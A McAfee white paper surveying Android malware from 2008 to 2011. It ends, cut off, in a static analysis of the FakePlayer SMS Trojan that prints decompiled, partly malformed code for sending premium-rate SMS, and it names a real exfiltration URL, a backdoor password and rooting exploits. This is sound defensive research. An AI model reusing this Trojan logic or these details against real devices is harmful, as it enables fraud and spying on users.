Android Malware
Past, Present, and Future

Author:
Carlos A. Castillo
Mobile Security Working Group
McAfee
# Table of Contents

- Executive Summary 3
- Introduction 3
- The History of Android Malware 4
- Android Fundamentals 9
- Methodologies and Tools to Analyze Android Malware 11
- Mobile Malware Evolution 12
  - The past: Fake Player 12
  - The present 17
  - The future 24
- Conclusion 25
  - Acknowledgements 25
Executive Summary
At the end of 2010, a new Android malware dubbed “Geinimi” was discovered and classified as “The most sophisticated Android malware we’ve seen to date.” The announcement quickly made headlines and raised concerns about what other Android malware has been seen thus far, what the current risk for Android users is, and what it is expected to be in the near future. This paper presents the Android malware evolution from the first SMS Trojan discovered in the wild in 2010 to the sophisticated malicious code seen in the official Android Market during the first half of 2011 like DroidDream, DroidKungFu, and Plankton. We will also present common methodologies and tools used to analyze two samples that represent the past and the current state of Android malware: FakePlayer and Plankton. Finally, the paper concludes with a proposed view of incoming Android malware threats that are likely to affect this platform going forward.

Introduction
On April 3, 1973 Martin Cooper, General Manager of Motorola’s Communications Systems Division at that time, made the first public telephone call on a portable cellular phone. Now, almost 38 years after that epic moment, mobile phones are a huge industry with devices that not only make and receive calls; they also can be used to send text messages, surf the Internet, take pictures, record videos and send, receive, and store confidential information like contacts, email, photos, and videos. According to Gartner, “mobile device sales to end users reached 1.6 billion units in 2010, a 31.8 percent increase from 2009,” showing significant growth in the industry. And this growth is expected to continue over the coming years. Popularity plus confidential information are an attractive combination for cybercrooks, but most of these devices are very limited in their hardware and software configurations, and most of them are not connected to the Internet continually, so the propagation of threats is more difficult and the revenue potential for cybercriminals is lower.

However, there is a class of mobile devices that complies with the aforementioned characteristics. Smartphones are high-end mobile devices that offer more advanced computing power and connectivity than a mobile phone. Because of that, they are becoming one of the principal ways people access social networks (like Facebook and Twitter)—and they are closer to becoming “smart wallets” with the agreement among mobile operators (Google is one of the key supporters of this technology with the smartphone Nexus S and the Operating System Android version 2.3) on an approach to near field communications (NFC), which will enable mobile devices to act as “car keys, money, tickets, and travel cards.” According to Gartner, “Smartphone sales to end users were up 72.1 percent from 2009 and accounted for 19 percent of total mobile communications device sales in 2010,” which is more than the percent increase of all the mobile devices.

Recently, a new player appeared in the industry that is consuming the market share of other mobile devices like netbooks and laptops. Media tablets are slate devices equipped with a touch screen as a primary input device. According to Gartner, “Worldwide media tablet sales to end users are forecast to reach 19.5 million units in 2010,” and “End-user sales projected to total 54.8 million units in 2011, [are] up 181 percent from 2010, and [will] surpass 208 million units in 2014.”

Both kinds of devices (smartphones and tablets) run lightweight operating systems (OS) that are optimized to run with limited energy consumption. One of the most popular in the industry is Android, which, according to Canalys, became the world’s leading smartphone platform exceeding 100 million units sold in Q4 2010. Android is a Linux-based open source operating system launched in November of 2007 as a principal project of the Open Handset Alliance and integrated by Google as the principal sponsor. At that date, when the announcement was made, Mikko Hypponen from F-Secure was very skeptical about the new open platform, raising questions like “Will an open standard for mobile phones make mobile malware more or less of a problem?” and “Might this accelerate or decelerate the evolution of mobile malware?” It took more than three years, but it seems that after Android reached enough popularity to interest the bad guys, 2011 became the year for the mobile malware for Android.
This paper will review the evolution of the malicious code on this platform to provide an understanding of the actual risk and impact of these types of threats. First, the history of the Android malware is going to be reviewed—from one of the first proof-of-concepts of malicious applications for this platform to DroidKungFu. Found in the official Android Market, it is capable of root-level access on vulnerable Android devices, and it will evade the detection of security software by encrypting the two exploits using AES. Then there is a summary of some Android fundamentals to provide an understanding how the malicious code for this platform works. In the “Mobile Evolution” section, we review some methodologies and tools to analyze Android malware. We analyze two samples found in the wild: Fake Player (past) and Plankton (present) for a brief perspective on future threats. We end with some general conclusions.

The History of Android Malware
Malicious code for mobile devices is often viewed as a myth due to hardware and software limitations. However, history has shown that mobile devices are also vulnerable to this kind of threat. One of the most notorious cases is Cabir, a malware for Symbian that used Bluetooth as the principal spreading vector. The source code of this malicious code was released on the Internet by the 29A group in 2004 leading to new variants of this malware and starting a new era in the insecurity of mobile devices. Cabir appeared when Bluetooth was the principal technology used to transfer information between devices in a very short range (less than 10 meters). In 2007, Apple introduced its first generation of smartphones (the Apple iPhone), a powerful cutting-edge mobile device designed to be connected to the Internet all the time, with a very intuitive graphical user interface and a capacitive screen that forever changed the way people interact with mobile devices. The other important technology introduced by Apple was the App Store, a virtual, in-the-cloud environment designed to deliver and install applications on the device directly from the Internet. Both factors increased the popularity of smartphones, resulting in a new competitor in the industry: Google Android. The first version of this OS (1.0) was released by Google in September 2008. One month later, Google and HTC released the HTC Dream (also marketed as T-Mobile G1)— the first phone in the market powered by this version of Android. At the beginning, the platform was not popular because it was restricted to only a few devices. However, since the very first versions, security researchers, academics, and even bad guys have been interested in the development of malicious applications for this new software environment.

In September 2008 (even before the HTC Dream), the security research group Blitz Force Massada from the University of Electronic Science and Technology of China (UESTC) announced the world’s first mixed attack for Android. It was a collection of more than 30 attacks executed by four different modules (malicious applications):

- **Android/CallAccepter.A**—Causes the phone to accept all incoming calls
- **Android/Radiocutter.A**—Turns off the radio, preventing outgoing/incoming calls
- **Android/SilentMutter.A**—Causes the phone to end all calls
- **Android/StiffWeather.A**—Gathers sensitive information and sends it to the attacker

There is very limited information about these applications on the Internet. However, it seems that the purpose of this proof-of-concept was not to cause damage. Instead, the primary objective of the Blitz group was probably to demonstrate, in the very first stage of Android, that this OS was vulnerable to malicious code (just like any other system).

Like with non-mobile devices, one of the principal objectives of malicious code is to collect as much private information as possible from users without their knowledge. This type of malware is called spyware and, of course, Android is not immune. In November of 2009, Retina-X Studios announced the world’s first professional spy software for the Android OS, Mobile Spy, which can silently monitor devices via web browser, calls, text messages, photos, videos, GPS locations, and even visited URLs from the device. One important characteristic of this application is the installation method: the attacker must have physical access to the device to install the application because it must be manually copied to the device. The other unusual feature of Mobile Spy is that it runs in a stealth mode, in the background, without a visible icon; the user is not aware that they are being monitored by this application.
A couple of months later, in January of 2010, the First Tech Credit Union and other financial entities like the Travis Credit Union reported the existence of possible fraudulent applications in the Android Market. In the first and second weeks of December 2009, the developer Droid09 posted non-official mobile banking applications targeting banks like Royal Bank of Canada, City Bank of Texas, and Valley Credit Union, among others. Apparently, the primary objective of those applications was to gather personal information about the user's bank accounts, but when the case went public, Google removed the suspicious applications, leaving security researchers and antivirus companies without a sample to analyze. One important conclusion about this incident was made by Graham Cluley from Sophos: “The Android marketplace, however, is not as closely monitored as Apple’s equivalent, and adopts a more ‘anything goes’ philosophy. This, combined with the current buzz around new phones running Android such as the Motorola Droid and the Google Nexus One, may make the platform more attractive to cybercriminals in the future.” This vision became true in 2011 with the rise in the amount and variants of Android malware found “in the wild.”

From spyware to phishing attacks, the evolution of malware for Android makes a huge jump: rootkits. In June of 2010, Christian Papathanasiou and Nicholas J. Percoco from Trustwave presented the white paper “This Is Not the Droid You’re Looking For ...” at DEF CON 18. Prior to that, and even today, very little research about rootkits in mobile devices had been done. In that paper Christian and Nicholas developed a kernel-level Android rootkit that is able to send a reverse TCP over 3G/Wi-Fi shell to an attacker upon receiving an incoming call from a “trigger number.” This rootkit can be delivered over the air or installed alongside a rogue application, which is the principal propagation vector nowadays for malware in Android. Despite the complexity of the threat, until now, this kind of attack has not been seen in the wild.

Back to the real world—in August 2010, Dennis Maslennikov from Kaspersky reported the discovery of the first SMS Trojan for Android. Commonly known as “FakePlayer,” the malicious application appears to be a media player application with a fake Microsoft Windows Media Player icon and the title “Movie Player” above that image. In fact, this application mimics the typical malicious behavior detected in malware for Symbian like SymbOS.Mosquit. It sends SMS messages to premium-rated services without the owner’s knowledge. The result for the owner is a big bill that the user pays for SMS messages sent. In this case, there are two premium-rate numbers involved, 3353 and 3354, and the cost of each message is approximately USD $5. However, “at the moment, although anyone’s device can be infected, the Trojan only causes losses for Russian users, and as far as we can tell, it’s currently not being spread via Android Marketplace.” Based on this information, at that time, the risk for the users was limited both in distribution and payload but malware continued the evolution with an interesting application available at that time in the marketplace with a hidden feature.

In the same month as the discovery of FakePlayer, Symantec discovered a modified version of the classic “snake” video game. This application had the ability to collect (every 15 minutes) and send GPS coordinates to a remote server to monitor the location of a phone without the knowledge of the user (spyware). The information could be viewed using another commercial application, GPS Spy, which downloads the data to display that information in Google Maps for better visualization. As with Mobile Spy, the attacker would need physical access to the victim’s device in order to install the application, and the same credentials must be placed in GPS Spy in order to synchronize both applications. Again, this was not a high-risk threat because it was not widespread, and the impact was minimal.

In November, two interesting applications appeared in the market. The first one was “Angry Birds Bonus Levels,” apparently related to the top-selling mobile game Angry Birds developed by the company Rovio. However this application was uploaded by researcher Jon Oberheide who discovered security vulnerability in Android. The proof-of-concept consisted of one application that was able to download and install innocent additional applications (Fake Contact Stealer, Fake Location Tracker, and Fake Toll Fraud) from the Android Market.
The only consequence of this demonstration was the removal of these applications from the Android Market. However, there was no official announcement from Google about this vulnerability and, due to this fact, even now it is not clear if this vulnerability was fixed and how this was done.

The other application related to insecurity in the Android OS that appeared in October 2010 in the Android Market was “SMS Replicator.” In fact, this was a classic spyware application that silently forwarded incoming SMS messages to a configurable mobile number. Nevertheless, the interesting part of this application was the existence of a backdoor, which was discovered by Axelle Apvrille from Fortinet by reverse-engineering the malicious code. Basically, the attacker can configure the mobile number that receives the forwarded SMS by sending a short message with a previously configured password. However, there was a hidden “universal” hard-coded password (red4life) that allowed the configuration of any other mobile phone in the infected device. Fortunately, as Axelle said, “SMS Replicator Secret is not remotely configurable, otherwise attackers could have randomly scanned the networks for infected phones and spy on their incoming messages.”

At the end of 2010, Lookout announced the discovery of Geinimi, which was at that time the most sophisticated malware for Android found in the wild. Until then, just one malicious Trojan (only affecting users in Russia) and a couple of spyware instances were found in the official and unofficial Android markets.

- **Innovative distribution method**—Geinimi was repacked into legitimate applications like Monkey Jump 2, President Versus Aliens, City Defense and Baseball Superstars 2010. The malicious code consists of additional classes that were repacked into the original application to include a backdoor-like functionality. Nevertheless, those applications were uploaded in unofficial application stores in China (and other file-sharing sites and systems like BitTorrent in United States and Europe), and they were not found in the official Android Market, presumably because the name of the final malicious package is the same as the legitimate version of the application which results in a conflict with the package name in the Google’s application market.

- **Dual anti-analysis method**—Encryption (network communication) and obfuscation (network communication codes). The decryption for the communication between the remote server and the infected device was not a big challenge because it uses a weak algorithm and key (DES and “12345678”). However, it, in fact, complicated the static analysis of the malicious code because it was used also to obfuscate the source code.

- **Botnet-like capabilities**—In fact, it had a list of more than 20 commands implemented in the source code. However, Lookout and other security companies were not able to see a fully operational control server sending commands back to the infected device. For this reason, it was not confirmed that the intent of this malware was to build a mobile botnet.

Geinimi demonstrated the possibility of “infecting” a legitimate application by repacking it with malicious code. This new technique was soon implemented by other variants of Geinimi such as the Trojan ADRD (or HongTouTou), discovered by Aegis Lab in February. Unlike Geinimi, this new malware for Android infects wallpapers, presumably because these kinds of applications are not represented with an icon in the main panel of applications which is stealthier than Geinimi. The other difference between these two malicious applications was that ADRD has very limited functionality: it only sends the IMEI/IMSI of the infected device to a remote server and tries to send a request to a popular search engine in China, causing bandwidth consumption.

Another example of “Trojanized” legitimate applications is Android.Pjapps which was able to “install applications, navigate to websites, add bookmarks to your browser, send text messages, and optionally block text message responses.” Pjapps also includes botnet-like functionality supporting commands sent by a remote server indicating which action has to be performed by the infected device. However, as with Geinimi, all the command and control servers were not active at the moment of the analysis. Therefore, again it is difficult to confirm if, in fact, it was a fully functional mobile botnet.
During the first quarter of 2011, many “Trojanized” versions of legitimate applications (in varied languages including English, Chinese, and even Japanese) were found in unofficial marketplaces and in download sites and BitTorrent-hosted collections of pirated games. The principal security measure recommended to the Android users was to “only use regulated Android marketplaces for downloading and installing Android applications” and use the “option to stop the installation of non-market applications.” However, this was about to change with the discovery of DroidDream, malware found in more than 50 applications available in the official Android Market.

In March, the user Lompolo reported in reddit, a social news website, the existence of pirated versions of legitimate applications uploaded in the Android Market by the developer “Myournet.” The disturbing detail in that post that raised alarms was the possible use of the “rageagainsthecage” exploit, which, until that time, was commonly used to gain root access to the device without malicious purposes. The other visible consequence of the malware was that “the apps seem to be at least posting the IMEI and IMSI codes to http://184.105.245.17:8080/GMServlet, which seems to be located in Fremont, CA.” Finally, but no less important, the malware was able to install an application that was inside the .apk (DownloadProvidersManager.apk) but hidden with a tricky name (sqlite.db). Despite the fact that it used the same repackaging technique of legitimate applications as a spreading vector, clearly it was not another variant of Geinimi. DroidDream introduced the use of publicly disclosed exploits to gain root privileges in an Android device in order to have full control of the smartphone. But more important is the fact that the malicious applications reached the official Android Market and the count of downloads in four days was between 50,000 and 200,000.

The natural reaction of Google when this threat was publicly disclosed was to remove all the known malicious applications from the Android Market and to ban the developer accounts that published the repacked applications: “Kingmall2010,” “we20090202,” and “Myournet.” However, Google did much more than just clean its environment; Google removed the malicious applications from affected devices using the “Android Market Security Tool March 2011,” which eliminates the malicious application installed in the device and automatically will “undo the exploit.” A couple of days later, Symantec reported the discovery of a maliciously repacked version of Google’s application to remove DroidDream. The malicious code was discovered by AegisLab a couple of days earlier and was named Fake10086 because one of the purposes of this malware was to communicate in the background with a remote server and block some incoming SMS messages coming from 10086, “the customer service portal of a leading Chinese telecom operator—presumably to prevent them from warning the victim.”

A final interesting detail about this malware is the fact that some code of this threat is based on the open source project mmsbg, hosted by Google Code, and is under Apache License. Later that month, a popular application for Android was modified and uploaded in several file sharing websites. The version 1.3.6 of Walk and Text allows the user to type in the device while walking. While it is running, the application will display a permanent camera preview showing what is in front of the device. However, the malicious version of Walk and Text (1.3.7) “is the first mobile phone threat discovered in the wild that attempts to discipline users who download files illegally from unauthorized sites” by showing a fake message that indicates the legitimate applications are being “cracked,” while sending SMS to all contacts on the list. That SMS reads “Hey, just downloaded a pirated App off the Internet, Walk and Text for Android. Im [sic] stupid and cheap, it costed only 1 buck. Don’t steal like I did!”

Apparently, the only objective of the application was to punish the user for downloading a pirated application from an unofficial source and generating a costly bill for all the SMS messages sent. However, the application also gathers personal information from the device like the phone number and IMEI, and it will send that data to a remote server. At the end, the malicious version of Walk and Text will show a message, suggesting that users check their phone bill and recommending that they buy the app in the official Android Market. That message reads “Application Not Licensed. We really hope you learned something from this. Check your phone bill :) Oh and don’t forget to buy the App from the Market.”
Some time passed after the arrival of new malware in the official Android Market. On May 11, AegisLab discovered “zsone,” which is the username of the developer who posted the 10 malicious applications in the Android Market. According to Lookout, “The total number of downloads attributed to this app in the Android Market appears to be under 10,000.” The behavior of this malware is very similar to the first SMS Trojan Fake Player because it will only send SMS messages to subscribe the user to premium-rate SMS services (in China) without any authorization.

It seems that May was the SMS Trojan month for Android because a similar malware appeared some days later: Android.Smspacem. A pirated version of the legitimate application “The Holy F***ing Bible” was discovered by Symantec with the main purpose of send “the end of the world” spam to all the contacts stored in the device when the date in the device is May 21 2011.

The messages sent are picked randomly from the following list:

- Cannot talk right now, the world is about to end
- Jebus is way over due for a come back
- Is the Raptures, praise Jesus
- Prepare to meet thy maker, make sure to hedge your bet juss in case the Muslims were right
- Just saw the four horsemen of the apocalypse and man did they have the worst case of road rage
- Es el fin del mundo

The malware will also change the wallpaper of the device to display an image of Stephen Colbert (a well-known North-American comedian). Those are the “visible” signs of infection. The malware does even more. The next time that the device reboots, the malicious application tries to contact a command and control server every 33 minutes in order to send private information from the device to a remote server and also to try to retrieve one of the following commands:

- Pacem—Sign up every contact on the phone to “ColbertPAC”*
- Formula401—Send download links to every contact in the device
- Health—The device will return “I am infected and alive ver 1.00”

So none of this is new. However, the communication strategy used to build the mobile botnet differed from previous malware like Geinimi because this malware processed the commands via a web service using the protocol simple object access protocol (SOAP), creating a object with an XML namespace and the command, which is the method that the malware will use to call in the server. Once the SOAP object is created, two properties will be added (the phone number of the infected device and the operator name) to finally send the object via HTTP to the remote server.

A few days later before Smspacem, at the end of May, the third malicious code was found in the Android Market: DroidDreamLight. At least 26 infected applications were uploaded using six different developer accounts (Magic Photo Studio, Mango Studio, E.T Tean, BeeGoo, Droid Plus and GluMobi) affecting between 30,000 and 120,000 users. The malicious component of DroidDreamLight will be activated once the phone state changes (for example, when the user gets a phone call), meaning that the malware can be executed without user intervention. As with almost all the malicious applications seen so far for Android, DroidDreamLight will collect information related to the device (IMEI, IMSI, APN, Model, SDK version) and it will send the data to a remote server. The URL of the remote server is encrypted with DES and stored in the file “prefer.dat” included in the original apk. Once the device is identified, the malware will try to download and install new applications; unlike the original DroidDream, it is not able to do this without user intervention.

Almost the same day, NetQin announced the discovery of malicious code present in more than 20 Android applications that auto-dials phone numbers: BaseBridge. This strategy is added to the classical “subscription to a premium-rate SMS service” with the purpose of generating higher monthly bills to the users. According to NetQin, “This is the first time an auto-dialing malware that causes fee
deduction is spotted on Android devices, although similar software was once found on Symbian devices, which is a sign that mobile threats on Android are becoming more diversified.51 In fact, BaseBridge can answer and end calls without user interaction and has hiding mechanisms like setting the volume of the call to “0,” which can be used to spy on the victim.52 Another interesting characteristic of BaseBridge is the ability to determine whether the Chinese security software 360 Safeguard is running on the device. If it is found, a fake message will display, indicating that the application has stopped working because of an error, but, in fact, 360 Safeguard will still be running in the background. BaseBridge includes the executing of the ragaisntheague exploit (like DroidDream), encryption of the command and control server URLs using AES, and, interestingly, some mechanisms to hide the operations performed by the infected device like deleting the call log, randomizing the interval of time between which each method is being executed, and blocking messages from the mobile provider in order to avoid getting updates about billing background.52

At the end of May, new malware was discovered in the official Android Market by researchers at North Carolina State University.53 Named DroidKungFu, this malicious software is capable of burrowing into the root level on vulnerable Android devices using the classical RageAgainstTheCage and CVE-2009-1185 exploits initially implemented by DroidDream. But, unlike its predecessor, DroidKungFu will use AES to encrypt the two exploits to evade detection from current mobile antivirus software.54 Aside from this difference, the behavior of the malware is the same as DroidDream: it collects information about the device, and it installs a second application that can download more malicious software onto the device.

The descriptions given thus far in this paper related to the recent past in the evolution of Android malware. In the next section, some concepts, methodologies, and tools will be presented for analyzing the present state of this fast-evolving field: the stealthy Android spyware known as Plankton.

Android Fundamentals

The analysis of malware in Android requires an understanding of how applications run in the system. To achieve this, a high-level overview of the Android Platform is in order, and the best place to start is by reviewing the documentation available on the official Android Developers website.55 The Android architecture can be depicted as follows:

![Android Architecture Diagram](image)
The central component of Android is a Linux-based kernel that provides a bridge between the hardware of the device and the rest of the software components of the system. For this reason, it is possible to access an Android device using a remote Linux-based shell and execute commands to list the contents of a current directory in the system. Also, it is possible to port some tools commonly used in Linux to execute them in Android but, to accomplish that, it is necessary to generate an executable code for an ARM platform, which is the principal processor for Android devices.

Above the Linux Kernel layer, there are some C/C++ open-source libraries that provide low-level interaction between the application framework and the components of the kernel. One important component in this layer is SQLite, which is a software library that implements “a self-contained, serverless, zero-configuration, transactional SQL database engine.” Android applications usually use SQLite databases to store persistent data in the device, including personally identifiable information that can be accessed for malicious purposes if it is not properly protected. One example of this is a vulnerable version of Skype for Android (available since October 2010) discovered by the Android Police in April 2011. The vulnerability resided in improper permissions of SQLite databases used by Skype to store personal information of the user, such as profile information and instant messages. In addition to the permissions issue, the data was stored in plain text which allowed anyone or any application to gather private information related to the Skype account of the user. Despite fixes issued by the vendor for the privacy vulnerability the day after it was disclosed, this incident demonstrates that SQLite databases are key targets for malicious applications.

Another key component in the Android architecture, specially designed for Android, is the Dalvik Virtual Machine. Despite the fact that most of the applications in Android are written using the Java programming language, the Dalvik VM (register-based) is not a Java Virtual Machine (stack-based). For this reason, when an application for Android is compiled, the source code is, in fact, compiled into .class files, but right away the “dx” tool is used to convert those .class files into a dex file) instead of leaving a class file with Java bytecode. An unofficial brief overview of the Dex File, obtained by doing reverse engineering of dex files, is available in the Internet. Due the fact that the Dex Binary contains all the original Java classes compiled into a single file, in that specification, it is possible to identify different offsets in the file that could help to obtain information of the original source code (a list of the classes compiled, their names, and some variable names among other useful data). This information, along with the one provided by the official API of Android (dalvik.bytecode and dalvik.system), could have been used to design some tools that nowadays are being used to analyze malware for Android.

The next layer of the Android architecture is the application framework, which is designed to provide generic functionality to provide developers with a means for building applications. Along with those software components, Android provides a documented applications programming interface (API), which is useful for understanding the Java source code originally written by the developer. For malware analysis, it is important to understand the different components that can be found in Android applications:

- **Activities**—Represents a single screen with a user interface. Usually this kind of component is implemented by the original applications that are being infected by malicious code.
- **Services**—The principal characteristic of this component is that it runs in the background. For this reason, it is commonly used by malicious code that is being packed into legitimate applications.
- **Content providers**—The purpose of this component is to provide the ability to share data between applications. This kind of component is not commonly used by malware authors.
- **Broadcast receivers**—This component “responds to system-wide broadcast announcements.” It is usually used by malicious code to trigger specific functionality when an event occurs in the device (for example, the screen is turned off, the device has a wireless Internet connection, or a call is being received).
Finally, the last layer of the Android architecture is where the final application is compiled and ready to be installed and executed in the system. The format of this file is called an Android Package (.apk), which is, in fact, a compressed file (just like a jar file) that contains, at least, the following components:

- **Manifest**—The purpose of this file is to declare all the components, requirements, and permissions required by the application to be executed in the system. The file is written using a standard XML structure and must be present at the root of the application project directory.

- **Classes.dex**—Inside this file there is Dalvik bytecode that must be decompiled/disassembled in order to perform a static analysis of the Android application.

- **Resources**—It contains all the information related to the resources used by the application (images, audio files, menus, and more).

Based on a couple of essential concepts and some important Android characteristics detailed above, the next section will describe some methodologies and tools that can be used to analyze suspicious applications in Android.

### Methodologies and Tools to Analyze Android Malware

Just as in the common computer world, mobile malware can be analyzed using two different and complementary methodologies: dynamic and static analysis. The first one consists of executing a given sample in a controlled environment to monitor its behavior and determine whether it is malicious and what the changes/modifications are in the system. The dynamic analysis is commonly used to study malware for desktop computers because the amount of malicious samples generated every day exceeds the amount of files that a human can analyze doing a detailed static analysis. For this reason, the dynamic analysis is usually done through an automated process. However, it will not provide the same quality of data as a detailed static analysis of the file.

With mobile devices, the dynamic analysis is not very common because, in order to replicate the malware, it is necessary to prepare different environments (hardware and software test devices) because of the existence of several platforms and operating systems in the mobile world. In addition to that, a few years back most of the mobile malware (especially for Symbian) used wireless connections (for example Bluetooth) as a principal spreading vector to infect other devices. Nowadays, the spreading vector is different (P2P download of applications, SMS/MMS with malicious links, infected applications in official/unofficial markets). However, when a mobile malware is replicated in a real device, security measures should be taken to prevent any accidental infection.

On the other hand, static analysis is now more common for mobile devices because there are not a large number of samples (compared to the quantity of malware for desktop computers), and usually this kind of analysis will provide more accurate data than the replication of the malicious application in a test environment. This section describes some procedures and tools that can be used to perform static and dynamic analysis of malicious applications for Android.

In a static analysis, the malicious application that is going to be analyzed will come as an apk file, which has a common characteristic with a jar file: both are built on the .zip file format, a common data compression and archive format used to pack several files into one and reduce their size. To extract all the components inside an apk file, several tools can be used to decompress the initial file: Winzip, Winrar, and 7-zip, among others. Once the files and folders are extracted, the static analysis will be mainly focused on two components: the AndroidManifest.xml and the classes.dex.
AndroidManifest.xml comes in a binary format that is not officially documented by Google. However, there are some tools designed to transform the XML from the binary form into a clear text file (for example AXMLPrinter2.jar). Once the file is decrypted, it is important to analyze it to see if the permissions of the application correspond with the ones that supposedly are required (depending on the initial purpose of the application). For example, it is not usual for an Android game to require permissions to send SMS messages because this is not related to a known functionality of the application. Other important component of the Manifest is the section where the application components are defined. Usually, if the application is not totally malicious, the activity defined in the Manifest corresponds to the original clean application because it will show a graphical interface. However, most of the malware nowadays modifies the Manifest to include a malicious service that will run in the background without the user’s knowledge.

Once the AndroidManifest.xml is analyzed and the permissions, components, and entry points of the application are identified, the next component of the apk to be analyzed is the file classes.dex. It can be analyzed using two different (but complementary) methodologies: decompiling and/or disassembling the dex file. The first approach consists of performing the reverse operation of the compiler to translate the executable program (Dex Bytecode) into the original source code (Java). The first step is to convert the dex file into a Java Archive (JAR). This process can be done using the tool Dex2Jar. Once the JAR file is obtained, a Java decompiler (like JD-GUI) can be used to get an approximation of the original source code of the application. However, as with many reverse-engineering tools, Dex2Jar is not perfect. It is important to keep in mind that the Java code obtained is not exactly the same as the original source code and sometimes the output of the decompiler could be lacking perfect logic and might show disassembled code that cannot be fully reversed into human-readable Java code. At this point, disassembly tools are useful for analyzing pieces of code that could not be reversed by the Dex2Jar tool and the Java decompiler.

Android has a native disassembler called dexdump, which can be found in the folder ”Android/platform-tools” (once the SDK is installed in a desktop computer). However, the output of this tool is not very user-friendly because the code is not dumped entirely and some instructions are not fully disassembled. Other free tools were developed to perform a more readable output like dedexer (which uses the Jasmin syntax and Dalvik Opcodes) baskmali. In addition to those free tools, the latest version of the well-known disassembler and debugger IDA Pro also provides support to dissemble Android bytecode (Dalvik), but only in the advanced edition of the software. Once the output is generated by one of the aforementioned tools, a basic understanding of Java and Dalvik bytecode is necessary to understand the purpose of the code. For the reverse engineering process, we recommended reviewing the updated documentation of Dalvik Virtual Machine, which can be found in the personal webpage of Dan Nornstein, the original author of Dalvik.

**Mobile Malware Evolution**

**The past: Fake Player**

On August 2010, the first Android Trojan was discovered in the wild acting as a fake media player application that sends SMS messages to premium-rate numbers without the user’s authorization. Once the file is opened and its contents extracted (using 7-zip in this case), in the ”res/drawable” folder, there is the icon of the application that is similar to the one used by Windows Media Player.

![Fake Windows Media Player icon.](image)
Along with the META-INF folder and the resources file, there are two files that should be transformed in order to perform the static analysis. The first one is the AndroidManifest.xml that can be analyzed by submitting the apk to Virus Total, which will use the tool to perform a basic analysis of the XML. A second option is to transform the XML from its binary form to clear text using the tool AXMLPrinter2 (with JRE installed, execute java –jar AXMLPrinter2.jar AndroidManifest.xml Manifest.txt). The decoded XML shows that only one permission is required by this application:

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="org.me.androidapplications">
<application android:icon="@0x00000">
    <activity android:name="MoviePlayer">
        <intent-filter>
            <action android:name="android.intent.action.MAIN"></action>
            <category android:name="android.intent.category.LAUNCHER"></category>
        </intent-filter>
    </activity>
</application>
<uses-permission android:name="android.permission.SEND_SMS"/>
</manifest>
```

Figure 3. Decoded AndroidManifest.xml.

In addition to the permission requested to the user to send SMS, the application has only one activity called Movie Player. To assess that activity, the classes.dex can be analyzed using a Java Decompiler, but first it should be transformed into a jar file using the tool dex2jar (executing the file dex2jar.bat in Windows or dex2jar-dump.sh in Linux). The result will be a .jar file which, opened with a Java Decompiler (in this case JD-GUI), which will show the structure of the application:

```java
package org.me.androidapplications;

import DataHelper;
import HelloWorld;
import MoviePlayer;
import R;

public class MoviePlayer extends Activity {
    public void onCreate(Bundle paramBundle)
    {
        super.onCreate(paramBundle);
        DataHelper localDataHelper = new DataHelper(this);
        SmsManager localSmsManager;
        String str1;
        String str2;
        String str3;
        PendingIntent localPendingIntent1;
        PendingIntent localPendingIntent2;
        if (localDataHelper.canwe())
```

Figure 4. Fake Window Media Player structure.

According to the Manifest, the activity that will be executed is the class MoviePlayer, and the first action on that activity is to create a DataHelper and check the method canwe:
When the object "localDataHelper" is created, the constructor method will open another object (OpenHelper) and will also prepare an SQL statement to insert the value "was" in the existing database "table1":

```java
public DataHelper(Context paramContext) {
    this.context = paramContext;
    Context localContext = this.context;
    SQLiteDatabase localSQLiteDatabase = new OpenHelper();
    this.db = localSQLiteDatabase;
    SQLiteStatement localSQLiteStatement = this.db.compileStatement("insert into table1(was) values ('was')");
    this.insertStat = localSQLiteStatement;
}
```

Figure 6. DataHelper Constructor preparing the SQL statement to insert a "was" in the SQLite database.

Inside the class DataHelper, there is an embedded class called OpenHelper, which is responsible for creating the SQLite database movieplayer.db with only one field (was).

```java
class OpenHelper extends SQLiteOpenHelper {
    OpenHelper() {
        super("movieplayer.db", null, 1);
    }
    public void onCreate(SQLiteDatabase paramSQLiteDatabase) {
        paramSQLiteDatabase.execSQL("CREATE TABLE table1(was TEXT PRIMARY KEY)");
    }
}
```

Figure 7. Fake Windows Media Player creating a SQLite database.

Once the database is created and the SQL statement is compiled, the method canwe is executed:

```java
public boolean canwe) {
    String str1 = "was";
    SQLiteDatabase localSQLiteDatabase = this.db;
    String[] arrayOfString1 = new String[] {"was"};
    String[] arrayOfString2 = null;
    String str2 = null;
    String str3 = null;
    String str4 = null;
    Cursor localCursor = localSQLiteDatabase.query("table1", arrayOfString1, null, arrayOfString2, str2, str3, str4);
    if (localCursor.moveToFirst()) {
        str1 = localCursor.getString(0);
        while (localCursor.moveToNext()) {
            if (str1.equals("was") && localCursor.isClosed()) {
                localCursor.close();
            }
            if (str1.equals("was") && i == 1) {
                return true;
            }
        }
    }
```

Figure 8. Canwe method.
However, the code showed by JD-GUI contains strange instructions like an “if” already closed (with a ;) and a “for” with a “return” that does not make any sense. This suggests that perhaps the Java decompiler tool is not interpreting the code correctly and is not showing the correct instructions. For this reason, when static analysis of Android malware is performed, it is important to use several Java decompilers in order to maximize the chances of getting the best representation of the original source code. In this case DJ Java decompiler\(^7\) was used, and now the canwe method is understandable:

```java
public boolean canwe()
{
    String s = "\n";
    SQLiteDatabase sqliteDatabase = db;
    String as[] = new String[1]
    as[0] = "\n",
    String as1[] = null;
    String s1 = null;
    String s2 = null;
    String s3 = null;
    Cursor cursor = sqliteDatabase.query("table1", as, null, as1, s1, s2, s3);
    if(cursor.moveToFirst())
    {
        s = cursor.getString(0);
        while(cursor.moveToNext())
        {
            if(cursor1 == null && & && cursor.isClosed())
                cursor.close();
            boolean flag;
            if(s.equals("\n"))
                flag = false;
            else
                flag = true;
            return flag;
        }
    }
}
```

Figure 9. canwe method with DJ Java Decompiler.

Once the SQLite database is created and initiated, and if the method canwe returns true, the application will show text in Russian ("Wait, requesting access to the video library ...") and will try to send an SMS to the number "3353":

```java
public void onCreate(Bundle bundle)
{
    super.onCreate(bundle);   
    DatabaseHelper databaseHelper = new DatabaseHelper(this);   
    if(databaseHelper.canwe())
    {
        TextView testview = new TextView(this);
        testview.setText("u041f\"u043e\"u0434\"u0430\"u0438\"u0430\"u0442\"u0435, u0437\"u0430\"u0434\"u0440\"u0439\"u0443");   
        SmsManager smssmanager = SmsManager.getDefault();   
        String s = "$3353",   
        String s1 = "798655";   
        String s2 = null;   
        android.app.PendingIntent pendingintent = null;   
